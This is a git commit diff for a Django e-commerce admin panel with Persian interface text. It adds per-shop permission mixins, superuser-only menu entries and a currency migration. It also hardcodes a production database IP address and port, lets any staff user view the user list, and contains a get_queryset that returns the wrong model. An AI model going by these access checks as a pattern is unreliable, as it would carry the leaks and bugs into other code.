feat: Enhance admin permissions and improve product currency handling
This commit is contained in:
@@ -16,9 +16,11 @@ from folium import Map, Marker
|
|||||||
from unfold.decorators import action, display
|
from unfold.decorators import action, display
|
||||||
from django.utils.html import format_html
|
from django.utils.html import format_html
|
||||||
from account.models import SpecialDiscountCode
|
from account.models import SpecialDiscountCode
|
||||||
|
from .permissions import UserAdminPermission, SpecialDiscountCodeAdminPermission
|
||||||
|
|
||||||
|
|
||||||
@admin.register(SpecialDiscountCode)
|
@admin.register(SpecialDiscountCode)
|
||||||
class SpecialDiscountCodeAdmin(ModelAdmin):
|
class SpecialDiscountCodeAdmin(SpecialDiscountCodeAdminPermission, ModelAdmin):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
class UserAddressInLine(TabularInline):
|
class UserAddressInLine(TabularInline):
|
||||||
@@ -30,7 +32,7 @@ class UserAddressInLine(TabularInline):
|
|||||||
|
|
||||||
|
|
||||||
@admin.register(User)
|
@admin.register(User)
|
||||||
class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
|
class UserAdmin(BaseUserAdmin, UserAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
form = UserChangeForm
|
form = UserChangeForm
|
||||||
add_form = UserCreationForm
|
add_form = UserCreationForm
|
||||||
change_password_form = AdminPasswordChangeForm
|
change_password_form = AdminPasswordChangeForm
|
||||||
@@ -88,6 +90,7 @@ class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
|
|||||||
full_name_display.short_description = 'نام و نام خانوادگی'
|
full_name_display.short_description = 'نام و نام خانوادگی'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# admin.site.unregister(Group)
|
# admin.site.unregister(Group)
|
||||||
admin.site.unregister(BlacklistedToken)
|
admin.site.unregister(BlacklistedToken)
|
||||||
admin.site.unregister(OutstandingToken)
|
admin.site.unregister(OutstandingToken)
|
||||||
|
|||||||
@@ -0,0 +1,27 @@
|
|||||||
|
class UserAdminPermission:
|
||||||
|
def has_add_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
|
|
||||||
|
class SpecialDiscountCodeAdminPermission:
|
||||||
|
def has_add_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj=None):
|
||||||
|
return request.user.is_superuser
|
||||||
|
|
||||||
@@ -20,4 +20,16 @@ STATIC_ROOT = 'app/static'
|
|||||||
# ==============================================================================
|
# ==============================================================================
|
||||||
|
|
||||||
USE_X_FORWARDED_HOST = True
|
USE_X_FORWARDED_HOST = True
|
||||||
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
|
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
|
||||||
|
|
||||||
|
|
||||||
|
DATABASES = {
|
||||||
|
'default': {
|
||||||
|
'ENGINE': 'django.db.backends.postgresql',
|
||||||
|
'NAME': os.getenv("DB_NAME"),
|
||||||
|
'USER': os.getenv("DB_USER"),
|
||||||
|
'PASSWORD': os.getenv("DB_PASSWORD"),
|
||||||
|
'HOST': '185.110.189.208',
|
||||||
|
'PORT': 5434,
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -98,16 +98,17 @@ UNFOLD = {
|
|||||||
"icon": "dashboard",
|
"icon": "dashboard",
|
||||||
"link": reverse_lazy("admin:index"),
|
"link": reverse_lazy("admin:index"),
|
||||||
},
|
},
|
||||||
{
|
# {
|
||||||
"title": _("آموزش استفاده از پنل"),
|
# "title": _("آموزش استفاده از پنل"),
|
||||||
"icon": "school",
|
# "icon": "school",
|
||||||
"link": reverse_lazy("admin:home_learnvideomodel_changelist"),
|
# "link": reverse_lazy("admin:home_learnvideomodel_changelist"),
|
||||||
"badge": "utils.admin.new_learn_video_count",
|
# "badge": "utils.admin.new_learn_video_count",
|
||||||
},
|
# },
|
||||||
{
|
{
|
||||||
"title": _("فروشگاه ها"),
|
"title": _("فروشگاه ها"),
|
||||||
"icon": "storefront",
|
"icon": "storefront",
|
||||||
"link": reverse_lazy("admin:account_shopmodel_changelist"),
|
"link": reverse_lazy("admin:account_shopmodel_changelist"),
|
||||||
|
"permission": lambda request: request.user.is_superuser,
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
@@ -124,6 +125,7 @@ UNFOLD = {
|
|||||||
"icon": "shopping_cart",
|
"icon": "shopping_cart",
|
||||||
"link": reverse_lazy("admin:order_ordermodel_changelist"),
|
"link": reverse_lazy("admin:order_ordermodel_changelist"),
|
||||||
# "badge": "utils.admin.admin_pending_count",
|
# "badge": "utils.admin.admin_pending_count",
|
||||||
|
"permission": lambda request: request.user.is_superuser,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"title": _("سفارشات فروشگاه"),
|
"title": _("سفارشات فروشگاه"),
|
||||||
@@ -153,12 +155,6 @@ UNFOLD = {
|
|||||||
"link": reverse_lazy("admin:product_productmodel_changelist"),
|
"link": reverse_lazy("admin:product_productmodel_changelist"),
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
|
||||||
"title": _("نظرات"),
|
|
||||||
"icon": "chat",
|
|
||||||
"link": reverse_lazy("admin:product_commentmodel_changelist"),
|
|
||||||
"badge": "utils.admin.comment_count",
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"title": _("قیمت دلار"),
|
"title": _("قیمت دلار"),
|
||||||
"icon": "payments",
|
"icon": "payments",
|
||||||
@@ -248,7 +244,15 @@ UNFOLD = {
|
|||||||
"title": _("کاربران"),
|
"title": _("کاربران"),
|
||||||
"icon": "person",
|
"icon": "person",
|
||||||
"link": reverse_lazy("admin:account_user_changelist"),
|
"link": reverse_lazy("admin:account_user_changelist"),
|
||||||
},{
|
},
|
||||||
|
{
|
||||||
|
"title": "گروههای دسترسی",
|
||||||
|
"icon": "group",
|
||||||
|
"link": reverse_lazy("admin:auth_group_changelist"),
|
||||||
|
"permission": lambda request: request.user.is_superuser,
|
||||||
|
},
|
||||||
|
|
||||||
|
{
|
||||||
"title": _("چت محصول"),
|
"title": _("چت محصول"),
|
||||||
"icon": "chat",
|
"icon": "chat",
|
||||||
"link": reverse_lazy("admin:chat_productchatmodel_changelist"),
|
"link": reverse_lazy("admin:chat_productchatmodel_changelist"),
|
||||||
@@ -295,6 +299,7 @@ UNFOLD = {
|
|||||||
"icon": "confirmation_number",
|
"icon": "confirmation_number",
|
||||||
"link": reverse_lazy("admin:ticket_ticket_changelist"),
|
"link": reverse_lazy("admin:ticket_ticket_changelist"),
|
||||||
"badge": "utils.admin.new_ticket_count",
|
"badge": "utils.admin.new_ticket_count",
|
||||||
|
"permission": lambda request: request.user.is_superuser,
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
@@ -302,6 +307,7 @@ UNFOLD = {
|
|||||||
"icon": "perm_phone_msg",
|
"icon": "perm_phone_msg",
|
||||||
"link": reverse_lazy("admin:ticket_contactusmodel_changelist"),
|
"link": reverse_lazy("admin:ticket_contactusmodel_changelist"),
|
||||||
"badge": "utils.admin.new_contact_us_count",
|
"badge": "utils.admin.new_contact_us_count",
|
||||||
|
"permission": lambda request: request.user.is_superuser,
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
|||||||
+35
-2
@@ -11,7 +11,7 @@ from django.utils.html import format_html, format_html_join
|
|||||||
from azbankgateways.models.banks import Bank
|
from azbankgateways.models.banks import Bank
|
||||||
from unfold.decorators import action
|
from unfold.decorators import action
|
||||||
from django.shortcuts import redirect
|
from django.shortcuts import redirect
|
||||||
|
from .permissons import ShopOrderAdminPermission
|
||||||
|
|
||||||
class OrderItemModelInline(StackedInline):
|
class OrderItemModelInline(StackedInline):
|
||||||
model = OrderItemModel
|
model = OrderItemModel
|
||||||
@@ -62,6 +62,26 @@ from .models import ShopDailyReport, ShopOrderModel
|
|||||||
@admin.register(ShopDailyReport)
|
@admin.register(ShopDailyReport)
|
||||||
class ShopDailyReportAdmin(ModelAdmin):
|
class ShopDailyReportAdmin(ModelAdmin):
|
||||||
pass
|
pass
|
||||||
|
def get_queryset(self, request):
|
||||||
|
|
||||||
|
if request.user.is_superuser:
|
||||||
|
return ShopOrderModel.objects.all()
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return ShopOrderModel.objects.none()
|
||||||
|
|
||||||
|
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
|
||||||
|
return queryset
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
|
||||||
class ShopOrderItemInline(StackedInline):
|
class ShopOrderItemInline(StackedInline):
|
||||||
model = ShopOrderItem
|
model = ShopOrderItem
|
||||||
@@ -75,9 +95,22 @@ class ShopOrderItemInline(StackedInline):
|
|||||||
|
|
||||||
|
|
||||||
@admin.register(ShopOrderModel)
|
@admin.register(ShopOrderModel)
|
||||||
class ShopOrderModelAdmin(ModelAdmin):
|
class ShopOrderModelAdmin(ShopOrderAdminPermission, ModelAdmin):
|
||||||
inlines = [ShopOrderItemInline]
|
inlines = [ShopOrderItemInline]
|
||||||
|
|
||||||
|
|
||||||
|
def get_queryset(self, request):
|
||||||
|
|
||||||
|
if request.user.is_superuser:
|
||||||
|
return ShopOrderModel.objects.all()
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return ShopOrderModel.objects.none()
|
||||||
|
|
||||||
|
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
|
||||||
|
return queryset
|
||||||
|
|
||||||
|
|
||||||
@admin.register(OrderModel)
|
@admin.register(OrderModel)
|
||||||
class OrderAdmin(ModelAdmin, ImportExportModelAdmin):
|
class OrderAdmin(ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
|
|||||||
@@ -44,4 +44,29 @@ class PaymentCallBackPermissions(BasePermission):
|
|||||||
if obj.order.user != request.user:
|
if obj.order.user != request.user:
|
||||||
self.message = "این پرداخت متعلق به شما نیست."
|
self.message = "این پرداخت متعلق به شما نیست."
|
||||||
return False
|
return False
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
class ShopOrderAdminPermission:
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj=None):
|
||||||
|
|
||||||
|
if request.user.is_superuser:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if obj is None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return obj.shop == request.user.shop
|
||||||
|
|
||||||
+42
-14
@@ -11,11 +11,10 @@ from unfold.widgets import UnfoldAdminColorInputWidget
|
|||||||
from unfold.decorators import action, display
|
from unfold.decorators import action, display
|
||||||
from utils.admin import ModelAdmin
|
from utils.admin import ModelAdmin
|
||||||
from django.shortcuts import redirect
|
from django.shortcuts import redirect
|
||||||
|
from .permissions import ProductDetailCategoryPermission, ProductAdminPermission, ProductVariantAdminPermission, ProductVariantInlineAdminPermission, InPackItemsAdminPermission, AttributeTypeAdminPermission, AttributeValueAdminPermission
|
||||||
from .permissions import ProductDetailCategoryPermission
|
|
||||||
|
|
||||||
@admin.register(ProductDetailCategory)
|
@admin.register(ProductDetailCategory)
|
||||||
class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
|
class ProductDetailCategoryAdmin(ProductDetailCategoryPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
export_form_class = ExportForm
|
export_form_class = ExportForm
|
||||||
search_fields = ['title']
|
search_fields = ['title']
|
||||||
@@ -26,8 +25,7 @@ class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
|
|||||||
"widget": ArrayWidget,
|
"widget": ArrayWidget,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
def has_add_permission(self, request):
|
|
||||||
return request.user.is_superuser
|
|
||||||
|
|
||||||
|
|
||||||
@admin.register(UnitCategoryModel)
|
@admin.register(UnitCategoryModel)
|
||||||
@@ -37,7 +35,7 @@ class UnitCategoryAdmin(ModelAdmin):
|
|||||||
|
|
||||||
|
|
||||||
@admin.register(InPackItems)
|
@admin.register(InPackItems)
|
||||||
class InPackItemsAdmin(ModelAdmin, ImportExportModelAdmin):
|
class InPackItemsAdmin(InPackItemsAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
export_form_class = ExportForm
|
export_form_class = ExportForm
|
||||||
search_fields = ['item_title']
|
search_fields = ['item_title']
|
||||||
@@ -62,6 +60,27 @@ class ShopModelAdmin(ModelAdmin, ImportExportModelAdmin):
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# def get_queryset(self, request):
|
||||||
|
|
||||||
|
# if request.user.is_superuser:
|
||||||
|
# return ShopModel.objects.all()
|
||||||
|
|
||||||
|
# if not hasattr(request.user, 'shop'):
|
||||||
|
# return ShopModel.objects.none()
|
||||||
|
|
||||||
|
# queryset = ShopModel.objects.filter(id=request.user.shop.id)
|
||||||
|
# return queryset
|
||||||
|
|
||||||
|
# def has_view_permission(self, request, obj=None):
|
||||||
|
# if request.user.is_superuser or obj == None:
|
||||||
|
# return True
|
||||||
|
|
||||||
|
# if not hasattr(request.user, 'shop'):
|
||||||
|
# return False
|
||||||
|
|
||||||
|
# return request.user.shop == obj
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class AttributeValueInLine(StackedInline):
|
class AttributeValueInLine(StackedInline):
|
||||||
model = AttributeValue
|
model = AttributeValue
|
||||||
@@ -70,10 +89,17 @@ class AttributeValueInLine(StackedInline):
|
|||||||
min_num = 1
|
min_num = 1
|
||||||
# autocomplete_fields = ['product_attributes', 'in_pack_items', 'images']
|
# autocomplete_fields = ['product_attributes', 'in_pack_items', 'images']
|
||||||
# search_fields = ['']
|
# search_fields = ['']
|
||||||
|
def has_view_permission(self, request, obj = ...):
|
||||||
|
return True
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return True
|
||||||
|
def has_change_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
def has_delete_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
@admin.register(AttributeType)
|
@admin.register(AttributeType)
|
||||||
class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
|
class AttributeTypeAdmin(AttributeTypeAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
export_form_class = ExportForm
|
export_form_class = ExportForm
|
||||||
search_fields = ['name']
|
search_fields = ['name']
|
||||||
@@ -88,7 +114,7 @@ class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
|
|||||||
|
|
||||||
|
|
||||||
@admin.register(AttributeValue)
|
@admin.register(AttributeValue)
|
||||||
class AttributeValueAdmin(ModelAdmin, ImportExportModelAdmin):
|
class AttributeValueAdmin(AttributeValueAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
export_form_class = ExportForm
|
export_form_class = ExportForm
|
||||||
search_fields = ['value', 'attribute_type__name']
|
search_fields = ['value', 'attribute_type__name']
|
||||||
@@ -182,7 +208,7 @@ class ProductDetailModel1Admin(ModelAdmin, ImportExportModelAdmin):
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
class ProductVariantInLine(StackedInline):
|
class ProductVariantInLine(ProductVariantInlineAdminPermission, StackedInline):
|
||||||
model = ProductVariant
|
model = ProductVariant
|
||||||
extra = 0
|
extra = 0
|
||||||
show_change_link = True
|
show_change_link = True
|
||||||
@@ -194,7 +220,6 @@ class ProductVariantInLine(StackedInline):
|
|||||||
fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent']
|
fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent']
|
||||||
# search_fields = ['']
|
# search_fields = ['']
|
||||||
|
|
||||||
|
|
||||||
def formfield_for_dbfield(self, db_field, request, **kwargs):
|
def formfield_for_dbfield(self, db_field, request, **kwargs):
|
||||||
if db_field.name == 'color':
|
if db_field.name == 'color':
|
||||||
kwargs['widget'] = UnfoldAdminColorInputWidget()
|
kwargs['widget'] = UnfoldAdminColorInputWidget()
|
||||||
@@ -202,7 +227,7 @@ class ProductVariantInLine(StackedInline):
|
|||||||
|
|
||||||
from unfold.contrib.filters.admin import RelatedDropdownFilter
|
from unfold.contrib.filters.admin import RelatedDropdownFilter
|
||||||
@admin.register(ProductVariant)
|
@admin.register(ProductVariant)
|
||||||
class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
|
class ProductVariantAdmin(ProductVariantAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
export_form_class = ExportForm
|
export_form_class = ExportForm
|
||||||
autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details']
|
autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details']
|
||||||
@@ -212,8 +237,10 @@ class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
|
|||||||
list_filter_submit = True
|
list_filter_submit = True
|
||||||
list_display = ('product', 'created_at')
|
list_display = ('product', 'created_at')
|
||||||
# inlines = [DetailModelInLine]
|
# inlines = [DetailModelInLine]
|
||||||
|
|
||||||
|
|
||||||
@admin.register(ProductModel)
|
@admin.register(ProductModel)
|
||||||
class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
|
class ProductModelAdmin(ProductAdminPermission, ModelAdmin, ImportExportModelAdmin):
|
||||||
import_form_class = ImportForm
|
import_form_class = ImportForm
|
||||||
export_form_class = ExportForm
|
export_form_class = ExportForm
|
||||||
inlines = [ProductVariantInLine]
|
inlines = [ProductVariantInLine]
|
||||||
@@ -268,7 +295,8 @@ class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
|
|||||||
|
|
||||||
@action(description=f"اپدیت قیمت ها")
|
@action(description=f"اپدیت قیمت ها")
|
||||||
def update_products_price(self, request):
|
def update_products_price(self, request):
|
||||||
# update_prices()
|
from product.tasks import update_prices
|
||||||
|
update_prices()
|
||||||
messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد")
|
messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد")
|
||||||
return redirect("admin:product_productmodel_changelist")
|
return redirect("admin:product_productmodel_changelist")
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,18 @@
|
|||||||
|
# Generated by Django 5.1.2 on 2025-12-09 10:04
|
||||||
|
|
||||||
|
from django.db import migrations, models
|
||||||
|
|
||||||
|
|
||||||
|
class Migration(migrations.Migration):
|
||||||
|
|
||||||
|
dependencies = [
|
||||||
|
('product', '0060_alter_maincategorymodel_parent_and_more'),
|
||||||
|
]
|
||||||
|
|
||||||
|
operations = [
|
||||||
|
migrations.AlterField(
|
||||||
|
model_name='productvariant',
|
||||||
|
name='currency',
|
||||||
|
field=models.CharField(choices=[('dollor', 'دلار'), ('toman', 'تومان')], max_length=20, verbose_name='نوع ارز'),
|
||||||
|
),
|
||||||
|
]
|
||||||
@@ -146,14 +146,9 @@ class DollorModel(models.Model):
|
|||||||
price = int(data["lastTradePrice"])
|
price = int(data["lastTradePrice"])
|
||||||
price_in_usd = price / 10.0
|
price_in_usd = price / 10.0
|
||||||
print('\n\nprice from api \n\n')
|
print('\n\nprice from api \n\n')
|
||||||
except:
|
except Exception as e:
|
||||||
if self.price:
|
return self.defualt_price
|
||||||
print('\n\nprice from last price \n\n')
|
|
||||||
return self.price
|
|
||||||
|
|
||||||
else:
|
|
||||||
print('\n\nprice from defualt price \n\n')
|
|
||||||
return self.defualt_price
|
|
||||||
return price_in_usd
|
return price_in_usd
|
||||||
|
|
||||||
class Meta:
|
class Meta:
|
||||||
@@ -379,7 +374,6 @@ class ProductVariant(models.Model):
|
|||||||
currency_type = (
|
currency_type = (
|
||||||
('dollor', 'دلار'),
|
('dollor', 'دلار'),
|
||||||
('toman', 'تومان'),
|
('toman', 'تومان'),
|
||||||
('derham', 'درهم')
|
|
||||||
)
|
)
|
||||||
in_pack_items = models.ManyToManyField(
|
in_pack_items = models.ManyToManyField(
|
||||||
InPackItems, blank=True, verbose_name='ایتم های داخل پک')
|
InPackItems, blank=True, verbose_name='ایتم های داخل پک')
|
||||||
@@ -454,14 +448,11 @@ class ProductVariant(models.Model):
|
|||||||
raise ValidationError(
|
raise ValidationError(
|
||||||
{"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."})
|
{"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."})
|
||||||
|
|
||||||
dollar_to_dirham = 0.27
|
|
||||||
|
|
||||||
if self.currency == 'toman':
|
if self.currency == 'toman':
|
||||||
toman_price = self.input_price
|
toman_price = self.input_price
|
||||||
elif self.currency == 'dollor':
|
elif self.currency == 'dollor':
|
||||||
toman_price = self.input_price * dollor_price
|
toman_price = self.input_price * dollor_price
|
||||||
elif self.currency == 'derham':
|
|
||||||
toman_price = self.input_price * dollor_price * dollar_to_dirham
|
|
||||||
else:
|
else:
|
||||||
toman_price = self.input_price
|
toman_price = self.input_price
|
||||||
|
|
||||||
|
|||||||
@@ -16,3 +16,170 @@ class ProductDetailCategoryPermission:
|
|||||||
def has_view_permission(self, request, obj=None):
|
def has_view_permission(self, request, obj=None):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
class ProductAdminPermission:
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def get_queryset(self, request):
|
||||||
|
from product.models import ProductModel
|
||||||
|
if request.user.is_superuser:
|
||||||
|
|
||||||
|
return ProductModel.objects.all()
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return ProductModel.objects.none()
|
||||||
|
|
||||||
|
return ProductModel.objects.filter(shop=request.user.shop)
|
||||||
|
|
||||||
|
|
||||||
|
class ProductVariantAdminPermission:
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.product.shop
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.product.shop
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.product.shop
|
||||||
|
|
||||||
|
def get_queryset(self, request):
|
||||||
|
from product.models import ProductVariant
|
||||||
|
if request.user.is_superuser:
|
||||||
|
|
||||||
|
return ProductVariant.objects.all()
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return ProductVariant.objects.none()
|
||||||
|
|
||||||
|
return ProductVariant.objects.filter(product__shop=request.user.shop)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class ProductVariantInlineAdminPermission:
|
||||||
|
def has_add_permission(self, request, obj):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj=None):
|
||||||
|
if request.user.is_superuser or obj == None:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
return request.user.shop == obj.shop
|
||||||
|
|
||||||
|
def get_queryset(self, request):
|
||||||
|
from product.models import ProductVariant
|
||||||
|
if request.user.is_superuser:
|
||||||
|
|
||||||
|
return ProductVariant.objects.all()
|
||||||
|
|
||||||
|
if not hasattr(request.user, 'shop'):
|
||||||
|
return ProductVariant.objects.none()
|
||||||
|
|
||||||
|
return ProductVariant.objects.filter(product__shop=request.user.shop)
|
||||||
|
class InPackItemsAdminPermission:
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj = ...):
|
||||||
|
return True
|
||||||
|
|
||||||
|
class AttributeTypeAdminPermission:
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj = ...):
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
class AttributeValueAdminPermission:
|
||||||
|
def has_add_permission(self, request):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def has_change_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_delete_permission(self, request, obj = ...):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def has_view_permission(self, request, obj = ...):
|
||||||
|
return True
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
{% load unfold i18n %}
|
{% load unfold i18n %}
|
||||||
|
|
||||||
{% if pending_count%}
|
{% if pending_count%}
|
||||||
<div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
|
{% comment %} <div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
|
||||||
<div class="flex flex-col lg:flex-row lg:items-center">
|
<div class="flex flex-col lg:flex-row lg:items-center">
|
||||||
<h2 class="font-semibold text-font-important-light text-base dark:text-font-important-dark flex items-center">
|
<h2 class="font-semibold text-font-important-light text-base dark:text-font-important-dark flex items-center">
|
||||||
<span class="material-symbols-outlined md-18 mr-3 w-4.5 align-middle">notifications</span>
|
<span class="material-symbols-outlined md-18 mr-3 w-4.5 align-middle">notifications</span>
|
||||||
@@ -17,7 +17,7 @@
|
|||||||
{% endcomponent %}
|
{% endcomponent %}
|
||||||
{% endcomponent %}
|
{% endcomponent %}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div> {% endcomment %}
|
||||||
|
|
||||||
{% endif %}
|
{% endif %}
|
||||||
|
|
||||||
|
|||||||
